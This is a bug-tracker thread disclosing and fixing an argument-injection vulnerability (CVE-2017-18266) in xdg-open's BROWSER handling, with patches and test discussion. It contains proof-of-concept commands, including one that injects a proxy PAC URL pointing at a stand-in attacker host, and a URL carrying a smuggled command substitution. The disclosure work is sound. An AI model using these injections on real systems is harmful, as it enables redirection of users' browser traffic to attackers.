xdg-open open_envvar is vulnerable to argument injection when BROWSER contains %s: This command: BROWSER="chromium %s" xdg-open "http://www.example.com/ --incognito" will open incognito mode of chromium (when open_envvar mode is used). The corresponding code is: if echo "$browser" | grep -q %s; then $(printf "$browser" "$1") This could be abused to silently set chromium proxy configuration which would allow an attacker to redirect all of the browser traffic through a server under his control: BROWSER="chromium %s" xdg-open "http://www.example.com/ --proxy-pac-url=http://dangerous.example.com/proxy.pac" One possible solution would be to URI-encode IFS characters in $1. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767 for a similar problem in sensible-browser.
Created attachment 139450 [details] [review] Possible patch
The proposed patch looks fine to me. (As an aside, I'd like to work to remove the browser fallback stuff in some future release)
committed, thanks https://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=ce802d71c3466d1dbb24f2fe9b6db82a1f899bcb https://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=5647afb35e4bcba2060148e1a2a47bc43cc240f2
MITRE has assigned CVE-2017-18266 for this issue.
Hi The autotests/t-xdg-open-url.sh autotest which was introduced with the ttps://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=094b73658a4fb11a40924d8df72165b054aac330 commit ('check that $BROWSER with %s is safe from shell injection') will need an adjustment after the https://cgit.freedesktop.org/xdg/xdg-utils/commit/?id=ce802d71c3466d1dbb24f2fe9b6db82a1f899bcb commit
Are you planning to issue a new release soon with this fix?
yes, xdg-utils-1.1.3 was released on may-10
Ah, I was checking git. Seems like you forgot to push some commits in the master branch.
I see all those I intended at https://cgit.freedesktop.org/xdg/xdg-utils/ what are you looking for?
My bad. I wasn't getting "bump version, prep for 1.1.3 release" and later commits. I blame my browser cache. Sorry for the noise, and thanks for the fix and the release!
I'm not sure if the proposed fix is really fixing the problem, because it only checks whether a single argument is provided. What about this? BROWSER="firefox %s" xdg-open "https://google.com$(touch /tmp/testfile)" For me this creates a testfile in /tmp, which shouldn't be the case.
Karol, this happens because of command expansion in your shell, before xdg-open is even called: false "https://google.com$(touch /tmp/testfile)" This command also creates a temporary file which demonstrates that this is not a problem with xdg-open. The correct way to try this is to use single quotes in order to prevent command expansion in your shell: BROWSER="firefox %s" xdg-open 'https://google.com$(touch /tmp/testfile)' This command does not create a temporary file.
By the way, this vulnerability is not about arbitrary shell command injection. We can only inject extra arguments in the browser exec() by injecting IFS characters.
(In reply to carnil from comment #5) > Hi > > The autotests/t-xdg-open-url.sh autotest which was introduced with the > ttps://cgit.freedesktop.org/xdg/xdg-utils/commit/ > ?id=094b73658a4fb11a40924d8df72165b054aac330 commit ('check that $BROWSER > with %s is safe from shell injection') will need an adjustment after the > https://cgit.freedesktop.org/xdg/xdg-utils/commit/ > ?id=ce802d71c3466d1dbb24f2fe9b6db82a1f899bcb commit This needs an update. Do you want a separate bug for it?
Yes please
Opened as bug #106565
Created attachment 139640 [details] [review] Another patch Please consider this patch of the latest version 1.1.3. It fixes the issue in another way. First a content of the $browser variable is split into separate arguments, then the %s placeholder for printf is replaced with a URL while keeping spaces that are passed to a browser in a single argument. So we avoid passing extra parameters. An advantage of this approach is that xdg-open doesn't display irrelevant error message "no method available ..." (Something like "invalid argument" would be more appropriate). This preserves the current behavior, and the utility still tries to open even a slightly invalid URL. The patch uses positional parameters for deal with arguments list to achieve portability. Also I've added an auto-test of this vulnerability.
Yes, this solution is probably better than mine.
Use of freedesktop.org services, including Bugzilla, is subject to our Code of Conduct. How we collect and use information is described in our Privacy Policy.